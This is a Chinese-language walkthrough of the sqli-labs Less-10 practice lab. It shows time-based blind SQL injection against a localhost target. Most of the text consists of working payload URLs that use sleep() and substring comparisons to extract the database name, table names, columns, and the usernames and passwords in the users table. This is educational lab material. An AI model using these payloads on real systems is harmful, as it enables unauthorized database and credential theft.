sqli-labs-less-10 延时注入

Less-10

判断注入点：

http://127.0.0.1/sqli-labs-master/Less-10/?id=1 显示正常 you are in
该题与less-9非常相似，判断id=1’ id=1”均无报错
http://127.0.0.1/sqli-labs-master/Less-10/?id=1 and 1=2 无报错
既然无法通过页面回显判断正误，这里我们考虑使用延时注入方法
http://127.0.0.1/sqli-labs-master/Less-10/?id=1’ and sleep(5) --+ 无报错无延时
http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(5) --+ 页面刷新延时5s
这里判断出存在延时注入

判断数据库名长度：

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(length(database())>5,1,sleep(5)) --+

猜解数据库名：

第一个字母：
http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(ascii(substr(database(),1,1))>50,1,sleep(5)) --+

猜解security库中的表

第一个表名的第一个字母：
http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))>50,1,sleep(5)) --+

猜解security库中users表的字段：

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),1,1))>50,1,sleep(5)) --+

猜解users表中username字段的信息：

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select username from security.users limit 0,1),1,1))>50,1,sleep(5)) --+

猜解users表中password字段的信息：

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select password from security.users limit 0,1),1,1))>50,1,sleep(5)) --+

未完待续。。。